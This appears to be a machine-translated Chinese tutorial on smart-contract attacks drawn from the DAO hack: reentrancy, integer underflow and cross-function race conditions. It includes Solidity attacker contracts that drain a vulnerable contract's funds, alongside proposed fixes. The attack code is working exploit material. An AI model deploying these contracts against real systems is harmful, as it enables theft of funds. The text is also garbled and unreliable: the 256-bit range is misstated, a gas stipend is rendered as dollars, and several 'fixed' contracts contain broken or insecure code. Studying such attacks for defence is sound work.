如何從智能合約攻擊DAO中吸取經(jīng)驗(yàn)
如果你一直在跟蹤區(qū)塊鏈技術(shù),你可能聽說過一兩次智能合約攻擊,這些攻擊導(dǎo)致了價值數(shù)千萬美元的加密貨幣資產(chǎn)被盜。最引人注目的攻擊仍然是分散自治組織(DAO),它是加密貨幣史上最受期待的項(xiàng)目之一,也是智能合約革命能力的典型代表。雖然大多數(shù)人都聽說過這些攻擊事件,但很少有人真正了解到底出了什么問題,以及如何避免再犯兩次同樣的錯誤。
智能合約是動態(tài)的、復(fù)雜的、而且它強(qiáng)大到讓人難以置信。雖然它們的潛力是不可想象的,但它也不可能一出現(xiàn)就具備防范攻擊體制。這就是說,我們都應(yīng)從以前的錯誤中學(xué)習(xí),并共同成長。
盡管DAO已經(jīng)成為過去,但它仍然是開發(fā)人員、投資者和社區(qū)成員應(yīng)該熟悉的容易受到智能合約攻擊的一個很好的例子。
無論您是開發(fā)人員、投資者還是加密貨幣愛好者,了解這些攻擊將使您對這項(xiàng)有前途的技術(shù)有更深的了解。
攻擊#1:重入
當(dāng)攻擊者通過遞歸調(diào)用目標(biāo)的退出函功能從目標(biāo)中抽走資金時,就會發(fā)生重發(fā)式攻擊,DAO就是這種情況。當(dāng)合約在發(fā)送資金前未能更新其狀態(tài)(用戶余額)時,攻擊者可以連續(xù)調(diào)用撤回功能來耗盡合約的資金。只要攻擊者接收到以太幣,攻擊者的合約就會自動調(diào)用它的撤回功能,該功能將會被寫入以再次調(diào)用撤回的算法中。此時攻擊已經(jīng)進(jìn)入遞歸循環(huán),合約的資金開始向攻擊方轉(zhuǎn)移。由于目標(biāo)合約被阻止調(diào)用攻擊者的撤回功能,該合約永遠(yuǎn)不能更新攻擊者的數(shù)據(jù)。目標(biāo)合約被騙得以為一切正常。需要說明的是,撤回功能是合約的本質(zhì)性功能,只要合約接收到以太幣和其他數(shù)據(jù),合約就會自動執(zhí)行它。
此次攻擊的流程
1、攻擊者向目標(biāo)合約捐贈以太幣
2、目標(biāo)合約更新攻擊者捐贈以太幣的余額
3、攻擊者要求返還資金
4、資金匯回
5、攻擊者的撤回功能是觸發(fā)器,并要求隨后退出
6、智能合約更新攻擊者平衡的邏輯尚未執(zhí)行,因此再次成功調(diào)用撤回
7、資金被發(fā)送到攻擊者
8、重復(fù)步驟5–7
9.一旦攻擊結(jié)束,攻擊者就會把合約上的資金送到他們的個人地址上去。
可重入攻擊的遞歸循環(huán)
不幸的是,一旦攻擊開始,就沒有辦法阻止它。攻擊者的撤回功能將被反復(fù)調(diào)用,直到合約用完或者受害者的以太幣被耗盡。
下面的代碼是易受影響的DAO合同的簡化版本,其中包含評論以更好地理解那些不熟悉編程/可靠性的合同。
contract babyDAO {
/* assign key/value pair so we can look up
credit integers with an ETH address */
mapping (address =》 uint256) public credit;
/* a function for funds to be added to the contract,
sender will be credited amount sent */
funcTIon donate(address to) payable {
credit[msg.sender] += msg.value;
}
/*show ether credited to address*/
funcTIon assignedCredit(address) returns (uint) {
return credit[msg.sender];
}
/*withdrawal ether from contract*/
funcTIon withdraw(uint amount) {
if (credit[msg.sender] 》= amount) {
msg.sender.call.value(amount)();
credit[msg.sender] -= amount;
}
}
}
如果我們看一下這個功能被提取,我們可以看到DAO聯(lián)系人使用address.call.value向msg.sender發(fā)送資金。不僅如此,合約還更新了資金發(fā)出后的信用狀態(tài)[msg.sender]。兩者都是大禁忌。認(rèn)識到合約代碼中的這些漏洞,攻擊者可以使用類似合同的契約ThisAHodlUp{}來清算所有的合約DADO基金。
import ‘browser/babyDAO.sol’;
contract ThisIsAHodlUp {
/* assign babyDAO contract as “dao” */
babyDAO public dao = babyDAO(0x2ae.。.);
address owner;
/*assign contract creator as owner*/
constructor(ThisIsAHodlUp) public {
owner = msg.sender;
}
/*fallback funcTIon, withdraws funds from babyDAO*/
function() public {
dao.withdraw(dao.assignedCredit(this));
}
/*send drained funds to attacker’s address*/
function drainFunds() payable public{
owner.transfer(address(this).balance);
}
}
注意,撤回這一功能,調(diào)用的是DAO的撤銷功能,或合約的babyDAO{},以此來從合約中竊取資金。另一方面,在攻擊結(jié)束時,如果攻擊者想將所有被盜的以太幣發(fā)送到其地址,則會調(diào)用撤回功能。
解決之道
到目前為止,可以清楚地看到,重入攻擊利用了兩種特殊的智能合約漏洞。第一種是當(dāng)合約的狀態(tài)在資金發(fā)送之后而不是之前更新。由于在發(fā)送資金之前沒有更新合同狀態(tài),功能可能在計算過程中被中斷,合約會被誘使認(rèn)為資金還沒有實(shí)際發(fā)出。第二個漏洞是當(dāng)合約錯誤地使用address.call.value來發(fā)送資金,而不是安全的錢包地址。transfer或address.send兩者都被限制在需要支付2300美元的津貼,但是僅僅記錄一個事件而不是多個外部調(diào)用。
發(fā)送資金前更新合約余額發(fā)送資金時使用address.transfer()或address.send()
contract babyDAO{
。..。
function withdraw(uint amount) {
if (credit[msg.sender] 》= amount) {
credit[msg.sender] -= amount; /* updates balance first */
msg.sender.send(amount)(); /* send funds properly */
}
}
攻擊2:Underflow
盡管DAO合約沒有成為底層流攻擊的受害者,我們可以利用現(xiàn)有的babyDAO合約{}來更好地理解是如何發(fā)生常見攻擊的。
首先,讓我們確認(rèn)一下uint256是什么。Auint256是一個256位的無符號整數(shù)(因?yàn)橹挥姓麛?shù))。Ethereum Virtual Machine設(shè)計為使用256位作為其字大小,或者一次性使用計算機(jī)的CPU處理的位數(shù)。由于EVM的大小限制為256位,分配的數(shù)字范圍為0到4294967295(22??)。如果我們看一下這個范圍,這個數(shù)字被重置到范圍的底部(22??+1=0)。如果我們進(jìn)入這個范圍,這個數(shù)字被重置到范圍的頂端(0–1=22??)。
當(dāng)我們從零減去一個大于零的數(shù)字時,就會產(chǎn)生一個新的整數(shù)22???,F(xiàn)在,如果攻擊者的平衡經(jīng)驗(yàn)不足,余額將被更新,以便所有的資金都可能被盜。
此次攻擊流程
1、攻擊者通過向目標(biāo)合約發(fā)送1 Wei發(fā)起攻擊
2、根據(jù)合約,寄件人應(yīng)將款項(xiàng)匯入
3、隨后同一1 Wei的稱為
4、合約從寄件人的信用證中減去1 Wei,現(xiàn)在余額為零
5、因?yàn)槟繕?biāo)合約將以太幣發(fā)送到攻擊者,所以攻擊者的撤回功能也將觸發(fā)并再次調(diào)用退出
6.退場記1 Wei
7.攻擊者的合約余額已經(jīng)更新了兩次,第一次更新為零,第二次更新為-1
8.攻擊者的平衡被重置為22??
9.攻擊者通過提取目標(biāo)合同中的所有資金完成了攻擊
代碼
import ‘browser/babyDAO’;
contract UnderflowAttack {
babyDAO public dao = babyDAO(0x2ae…);
address owner;
bool performAttack = true;
/*set contract creator as owner*/
function UnderflowAttack{ owner = msg.sender;}
/*donate 1 wei, withdraw 1 wei*/
function attack() {
dao.donate.value(1)(this);
dao.withdraw(1);
}
/*fallback function, results in 0–1 = 2**256 */
function() {
if (performAttack) {
performAttack = false;
dao.withdraw(1);
}
}
/*extract balance from smart contract*/
function getJackpot() {
dao.withdraw(dao.balance);
owner.send(this.balance);
}
}
解決之道
為了避免成為下溢攻擊的受害者,最佳實(shí)踐是檢查更新后的整數(shù)是否保持在其字節(jié)范圍內(nèi)。我們可以在代碼中添加一個參數(shù)檢查,作為最后一道防線。該功取款第一行是提取檢查是否有足夠的資金,第二行檢查是否溢出,第三行檢查是否有下溢。
contract babysDAO{
。..。
/*withdrawal ether from contract*/
function withdraw(uint amount) {
if (credit[msg.sender] 》= amount
&& credit[msg.sender] + amount 》= credit[msg.sender]
&& credit[msg.sender] - amount 《= credit[msg.sender]) {
credit[msg.sender] -= amount;
msg.sender.send(amount)();
}
}
請注意,我們的上述代碼也會在發(fā)送資金之前更新用戶的余額,如前所述。
攻擊3:跨功能競態(tài)條件的攻擊
同樣重要的是,跨功能競態(tài)條件攻擊。正如我們在Reentrancy攻擊中所討論的,DAO合約未能正確地更新內(nèi)部合約狀態(tài),因此導(dǎo)致資金被盜。部分DAO和一般的外部調(diào)用問題是由于其跨功能競態(tài)條件所產(chǎn)生的。
而以太坊中的所有事務(wù)都是串聯(lián)運(yùn)行的(一個接一個地運(yùn)行),因此使用外部調(diào)用對另一份合約或另一個地址來說,一旦管理不當(dāng),就會災(zāi)害連連。當(dāng)兩個功能調(diào)用并共享同一狀態(tài)時,將發(fā)生跨功能競爭情況。該合約就會騙的消費(fèi)者認(rèn)為存在的是兩個合約,而實(shí)際上只有一個合約。因此,在這個合約的功能函數(shù)中,我們不能同時得到X=3和X=4。
讓我們用一個例子來說明這個概念。
攻擊與守則
contract crossFunctionRace{
mapping (address =》 uint) private userBalances;
/* uses userBalances to transfer funds */
function transfer(address to, uint amount) {
if (userBalances[msg.sender] 》= amount) {
userBalances[to] += amount;
userBalances[msg.sender] -= amount;
}
}
/* uses userBalances to withdraw funds */
function withdrawalBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
require(msg.sender.send(amountToWithdraw)());
userBalances[msg.sender] = 0;
}
}
上述合約有兩個職能——一個負(fù)責(zé)轉(zhuǎn)移資金,另一個負(fù)責(zé)提取資金。讓我們假定攻擊者撤回功能傳輸(),同時進(jìn)行外部撤回功能的退出Balance()。使用Balance[msg.sender]的狀態(tài)將被拉向兩個不同的方向。用戶的余額還沒有設(shè)置為0,但是攻擊者也能夠轉(zhuǎn)移資金,盡管它們已經(jīng)被撤回。在這種情況下合同允許攻擊者花費(fèi),區(qū)塊鏈技術(shù)的目的就是要解決其中的一個問題。
注意:如果這些合同共享狀態(tài),則跨多個合同可能會發(fā)生跨職能競爭條件。
1.在調(diào)用外部函數(shù)之前,首先完成所有內(nèi)部工作
2.避免打外線電話
3.在不可避免的情況下,將外部撤回功能標(biāo)記為“不可信”
4.在不可避免的外部撤回時使用互斥體
根據(jù)下面的合約,我們可以看到一個合約的例子,1)。在打外部電話之前進(jìn)行內(nèi)部工作、2),將所有外部調(diào)用函數(shù)標(biāo)記為“不可信”。我們的合約允許資金被發(fā)送到一個地址,并允許用戶一次性獎勵最初將資金存入合約中的人。
contract crossFunctionRace{
mapping (address =》 uint) private userBalances;
mapping (address =》 uint) private reward;
mapping (address =》 bool) private claimedReward;
//makes external call, need to mark as untrusted
function untrustedWithdraw(address recipient) public {
uint amountWithdraw = userBalances[recipient];
reward[recipient] = 0;
require(recipient.call.value(amountWithdraw)());
}
//untrusted because withdraw is called, an external call
function untrustedGetReward(address recipient) public {
//check that reward hasn’t already been claimed
require(!claimedReward[recipient]);
//internal work first (claimedReward and assigning reward)
claimedReward = true;
reward[recipient] += 100;
untrustedWithdraw(recipient);
}
}
正如我們可以看到的,合約的第一個功能是在向用戶的合約地址發(fā)送資金時進(jìn)行外部調(diào)用的。類似地,獎勵功能也使用撤回功能來發(fā)送一次性獎勵,因此也是不可信的。同樣重要的是,合約首先執(zhí)行所有內(nèi)部工作。與我們的可重入攻擊示例一樣,功能GetReward在允許退出以防止跨功能爭用的情況發(fā)生之前,授予用戶一次獎勵的信用。
在一個完美的世界里,智能合約不需要依靠外部調(diào)用。事實(shí)是,在許多情況下,外部聯(lián)通幾乎不可能發(fā)揮作用。因此,使用互斥體來“鎖定”某個狀態(tài),并只授予所有者更改狀態(tài)的能力,可以幫助避免代價高昂的災(zāi)難。盡管互斥非常有效,但在用于多個合約時,它們可能會變得很棘手。如果您使用互斥體來保護(hù)不受各種條件的影響,那么您需要仔細(xì)確保沒有其他方法可以聲明鎖定,并且永遠(yuǎn)不會被釋放。如果使用互斥方式,請確保您在與他們簽訂合約時已經(jīng)徹底了解了潛在的危險(死鎖、活鎖等)。
contract mutexExample{
mapping (address =》 uint) private balances;
bool private lockBalances;
function deposit() payable public returns (bool) {
/*check if lockBalances is unlocked before proceeding*/
require(!lockBalances);
/*lock, execute, unlock */
lockBalances = true;
balances[msg.sender] += msg.value;
lockBalances = false;
return true;
}
function withdraw(uint amount) payable public returns (bool) {
/*check if lockBalances is unlocked before proceeding*/
require(!lockBalances && amount 》 0 && balances[msg.sender]
》= amount);
/*lock, execute, unlock*/
lockBalances = true;
if (msg.sender.call(amount)()) {
balances[msg.sender] -= amount;
}
lockBalances = false;
return true;
}
}
上面我們可以看到合約mutexExample具有執(zhí)行功能存款和功能提取的私有鎖狀態(tài)。該鎖將阻止用戶在第一次調(diào)用完成之前成功地調(diào)用撤銷,從而防止出現(xiàn)任何類型的跨功能爭用狀態(tài)。
強(qiáng)大的力量同時帶來巨大的責(zé)任。盡管區(qū)塊鏈和智能合合約術(shù)仍在不斷發(fā)展,但風(fēng)險仍然很高。攻擊者還沒有放棄尋找合適的機(jī)會,抓住設(shè)計糟糕的合約。